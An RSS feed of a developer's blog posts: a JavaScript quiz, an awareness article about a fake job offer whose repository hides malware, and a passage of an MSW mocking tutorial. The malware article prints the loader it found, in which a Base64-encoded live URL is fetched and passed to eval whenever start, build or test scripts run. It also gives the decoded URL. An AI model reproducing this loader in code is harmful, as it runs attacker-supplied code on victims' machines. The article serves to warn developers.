<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Nikola Perišić</title>
    <description>The latest articles on DEV Community by Nikola Perišić (@perisicnikola37).</description>
    <link>https://dev.to/perisicnikola37</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1109424%2F39f327a3-15f4-4014-aa97-d7b2d528cd68.jpg</url>
      <title>DEV Community: Nikola Perišić</title>
      <link>https://dev.to/perisicnikola37</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/perisicnikola37"/>
    <language>en</language>
    <item>
      <title>The "skill-check" JS quiz</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Tue, 03 Mar 2026 15:36:56 +0000</pubDate>
      <link>https://dev.to/perisicnikola37/the-skill-check-js-quiz-51ne</link>
      <guid>https://dev.to/perisicnikola37/the-skill-check-js-quiz-51ne</guid>
      <description>&lt;p&gt;How well do you really know the language that powers the web? It’s easy to get comfortable with &lt;code&gt;const&lt;/code&gt; and &lt;code&gt;fetch()&lt;/code&gt;, but JavaScript has some dusty corners and "gotchas" that separate the pros from the hobbyists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; If you're wondering why there's a duck on the thumbnail... honestly, it's just for attention. But hey, it worked, you're here! 🦆&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The equality enigma
&lt;/h3&gt;

&lt;p&gt;What does the following code output to the console?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The answer:&lt;/strong&gt; &lt;code&gt;true&lt;/code&gt;, then &lt;code&gt;false&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt; I’m not going to explain this one. If I do, you’ll just read it and forget it. I want you to search for "JavaScript Type Coercion" yourself. Trust me, you will thank me later.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The "this" trap
&lt;/h3&gt;

&lt;p&gt;In the snippet below, what will be logged?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Alex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Hi, I'm &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The answer:&lt;/strong&gt; &lt;code&gt;Hi, I'm undefined&lt;/code&gt; (or an empty string in some environments).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt; Arrow functions do not have their own this context. They inherit this from the surrounding lexical scope (in this case, the global window or module). To fix this, use a regular function expression.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Closure clarity
&lt;/h3&gt;

&lt;p&gt;What is the result of this execution?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The answer:&lt;/strong&gt; &lt;code&gt;3, 3, 3&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt; Because &lt;code&gt;var&lt;/code&gt; is function-scoped and not block-scoped, the loop finishes before the &lt;code&gt;setTimeout&lt;/code&gt; callbacks run. By then, &lt;code&gt;i&lt;/code&gt; has been incremented to &lt;code&gt;3&lt;/code&gt;. Using &lt;code&gt;let&lt;/code&gt; instead of &lt;code&gt;var&lt;/code&gt; would result in 0, 1, 2 because let creates a new binding for each iteration.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Reference vs. value
&lt;/h3&gt;

&lt;p&gt;What happens to &lt;code&gt;list2&lt;/code&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;list1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;list2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;list1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;list1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The answer:&lt;/strong&gt; &lt;code&gt;4&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt; Arrays in JavaScript are &lt;code&gt;objects&lt;/code&gt;, which means they are passed by reference. &lt;code&gt;list2&lt;/code&gt; isn't a copy; it's a pointer to the same memory address as list1.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Bonus: The "typeof" quirk
&lt;/h3&gt;

&lt;p&gt;What is &lt;code&gt;typeof null&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The answer:&lt;/strong&gt; "object"&lt;/p&gt;

&lt;p&gt;This is a famous bug from the first version of JavaScript that was never fixed to maintain backward compatibility.&lt;/p&gt;

&lt;p&gt;How did you do? 🏆&lt;/p&gt;

&lt;p&gt;Drop your score in the comments below!&lt;/p&gt;




&lt;h2&gt;
  
  
  Connect with me
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/perisicnikola37" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/perisicnikola37" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;br&gt;
&lt;a href="https://medium.com/@perisicnikola37" rel="noopener noreferrer"&gt;Medium&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>ai</category>
    </item>
    <item>
      <title>From job offer to malware: developers, be cautious!</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Tue, 28 Oct 2025 14:55:11 +0000</pubDate>
      <link>https://dev.to/perisicnikola37/from-job-offer-to-malware-developers-be-cautious-35dc</link>
      <guid>https://dev.to/perisicnikola37/from-job-offer-to-malware-developers-be-cautious-35dc</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Note: This story was adapted from a Reddit post. I have not directly communicated with anyone from the “Modex platform”. I am sharing this to raise awareness among developers for situations like this because they are common.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;John was contacted by an HR representative regarding a Frontend Developer position; a very appealing offer. The job description can be found here. A meeting was scheduled, during which the recruiter provided a GitHub repository and asked him to clone it, run it locally, and connect his Metamask wallet.&lt;/p&gt;

&lt;p&gt;Something about this seemed off, so John informed recruiter that he could not do it immediately and would review the code first. That decision likely prevented potential issues.&lt;/p&gt;

&lt;h2&gt;
  
  
  The suspicious scripts
&lt;/h2&gt;

&lt;p&gt;When he looked at the &lt;code&gt;package.json&lt;/code&gt;, he noticed the scripts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;scripts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;start&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node server/server.js | react-scripts --openssl-legacy-provider start&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;build&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node server/server.js | react-scripts --openssl-legacy-provider build&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;test&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node server/server.js | react-scripts --openssl-legacy-provider test&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;eject&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node server/server.js | react-scripts --openssl-legacy-provider eject&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Opening &lt;code&gt;server.js&lt;/code&gt;, he found this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;AUTH_API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;aHR0cHM6Ly9hdXRobG9naW4tbmluZS52ZXJjZWwuYXBwL2FwaQ==&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AUTH_API_KEY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;proxy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node-fetch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;proxy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`HTTP error! status: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;proxyInfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;proxyInfo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Auth Error!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first glance, it looked like an API key, but &lt;code&gt;AUTH_API_KEY&lt;/code&gt; is actually a &lt;strong&gt;Base64-encoded URL&lt;/strong&gt; pointing to a malicious link.&lt;/p&gt;

&lt;p&gt;In this snippet &lt;code&gt;atob&lt;/code&gt; is used to decode the value of &lt;code&gt;AUTH_API_KEY&lt;/code&gt; into a plain URL. The decoded URL is stored in src, then &lt;code&gt;node-fetch&lt;/code&gt; is dynamically imported and used: &lt;code&gt;await proxy(src)&lt;/code&gt; fetches the remote content. Finally the fetched text (malicious code) is passed to eval and executed inside the Node.js process.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If we manually decode the value stored in &lt;code&gt;AUTH_API_KEY&lt;/code&gt;, it reveals the following URL: &lt;a href="https://authlogin-nine.vercel.app/api" rel="noopener noreferrer"&gt;https://authlogin-nine.vercel.app/api&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkppxboei37znk0c6b7jo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkppxboei37znk0c6b7jo.png" alt="From job offer to malware: developers, be cautious!" width="786" height="488"&gt;&lt;/a&gt;&lt;br&gt;
Decoded using: &lt;a href="https://www.base64decode.org" rel="noopener noreferrer"&gt;https://www.base64decode.org&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When we open that link in our browser, we see the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhko13y2va2svewwrwja4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhko13y2va2svewwrwja4.png" alt="From job offer to malware: developers, be cautious!" width="786" height="371"&gt;&lt;/a&gt;&lt;br&gt;
You can check it yourself on: &lt;a href="https://authlogin-nine.vercel.app/api" rel="noopener noreferrer"&gt;https://authlogin-nine.vercel.app/api&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But is it safe to visit this link? Yes, it is secure to visit it because you are accessing it from your browser. There is no running Node.js environment or something similar that would actually run this code.&lt;/p&gt;

&lt;p&gt;In conclusion, running &lt;code&gt;npm run start&lt;/code&gt; or any similar command to start this project would expose your system to this malicious code.&lt;/p&gt;

&lt;h2&gt;
  
  
  What ChatGPT revealed about this malicious code?
&lt;/h2&gt;

&lt;p&gt;After copying the code into ChatGPT for analysis, this was the response:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is obfuscated Node.js malware/backdoor. It decodes strings at runtime, loads standard Node modules (os, fs, child_process), enumerates system/user info, reads and writes files, spawns commands, and contacts a remote endpoint. It acts as a downloader/exfiltrator and a persistence/command-execution helper. Treat it as malicious, isolate affected hosts, and perform incident response.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Research on the recruiter and company
&lt;/h2&gt;

&lt;p&gt;The man checked the recruiter and the company online, and everything seemed legitimate:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Recruiter’s presence on conference websites: &lt;a href="https://www.vbs.live/speakers/alin-daniel-iftemi/" rel="noopener noreferrer"&gt;VBS Live&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Forbes CEE Forum article: &lt;a href="https://www.forbes.ro/forbes-cee-forum-2020-alin-daniel-iftemi-modex-sunt-scoli-unde-nu-sunt-nici-toalete-si-noi-vorbim-despre-digitalizarea-romaniei-185626" rel="noopener noreferrer"&gt;Forbes&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;LinkedIn company profile: &lt;a href="https://www.linkedin.com/company/modex-platform/about/" rel="noopener noreferrer"&gt;Modex Platform&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Company website: &lt;a href="https://modex.tech/" rel="noopener noreferrer"&gt;modex.tech&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion &amp;amp; tips
&lt;/h2&gt;

&lt;p&gt;John’s experience shows how convincing job offers can hide malicious code. By reviewing the code first, he avoided running a Node.js backdoor.&lt;/p&gt;

&lt;p&gt;Tips to spot potential scams:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Requests to clone a repository and run it locally immediately&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Asking to connect a crypto wallet or provide private keys&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Pressure to complete tasks without reviewing the code first&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Recruiters or companies that cannot be verified via LinkedIn, official website, or other credible sources&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Being cautious and reviewing code carefully can prevent serious security risks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Connect with me
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/perisicnikola37" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;, &lt;a href="https://www.linkedin.com/in/perisicnikola37/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, &lt;a href="https://medium.com/@perisicnikola37" rel="noopener noreferrer"&gt;Medium&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>node</category>
    </item>
    <item>
      <title>Elevate your React project to the next level using MSW mocking flow</title>
      <dc:creator>Nikola Perišić</dc:creator>
      <pubDate>Wed, 28 May 2025 12:20:38 +0000</pubDate>
      <link>https://dev.to/perisicnikola37/elevate-your-react-project-to-the-next-level-using-msw-mocking-flow-2490</link>
      <guid>https://dev.to/perisicnikola37/elevate-your-react-project-to-the-next-level-using-msw-mocking-flow-2490</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this blog, I will walk you through why &lt;strong&gt;MSW mocking&lt;/strong&gt; is useful, and how to implement it in your React.js application.&lt;/p&gt;




&lt;h3&gt;
  
  
  The problem
&lt;/h3&gt;

&lt;p&gt;Let’s say you’re building a feature that consumes data from a backend API, but:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The backend isn’t ready yet&lt;/li&gt;
&lt;li&gt;You’re having CORS issues, and the backend developer took a sick day :(&lt;/li&gt;
&lt;li&gt;You’re on a &lt;strong&gt;tight deadline&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In most cases, you might just mock the data using a single constant.&lt;/p&gt;

&lt;p&gt;But there’s a better approach.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Solution: Mock Service Worker (MSW)
&lt;/h3&gt;

&lt;p&gt;MSW works by &lt;strong&gt;intercepting&lt;/strong&gt; actual network requests at the &lt;strong&gt;service worker&lt;/strong&gt; level. What does that means?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your application thinks it’s communicating with a real API&lt;/li&gt;
&lt;li&gt;Your mocks work &lt;strong&gt;both in the browser and in tests&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;You can simulate everything from successful responses to errors, timeouts, and more. This is very important&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I can tell that it’s the closest thing to working with the real thing, without &lt;strong&gt;actually depending&lt;/strong&gt; on it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Diagram
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2yizq6yd6jatikdrg909.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2yizq6yd6jatikdrg909.png" alt="MSW flow diagram" width="786" height="169"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the diagram above, we can identify total of three actors:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Browser&lt;/strong&gt; -&amp;gt; Let’s imagine you have a page called &lt;code&gt;PrivacyPolicy.jsx&lt;/code&gt;. This component uses a custom hook or a direct fetch/axios call to request data from the endpoint &lt;code&gt;/v1/privacy-policy&lt;/code&gt;. In default scenario, this request would hit backend API URL, but with our approach, this request is intercepted before it ever leaves the browser and it does not hit backend.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;MSW service worker&lt;/strong&gt; -&amp;gt; This worker is registered and running in the browser. It listens to all requests coming from you application. When your React app makes a request to &lt;code&gt;/v1/privacy-policy&lt;/code&gt;, the MSW service worker intercepts it and checks if a corresponding mock handler is defined. It does this by referring to your mock definition file (commonly named handlers.js).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Handlers.js&lt;/strong&gt; -&amp;gt; This file contains a list of all mocked endpoints and how they should respond. If a matching handler is found, the service worker returns the mocked response as if it came from the real server. Your React component receives the data and renders the UI.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Key benefits
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fully isolated UI development&lt;/strong&gt; - With MSW, your frontend development is no longer blocked by backend availability.&lt;/p&gt;&lt;/li&gt;
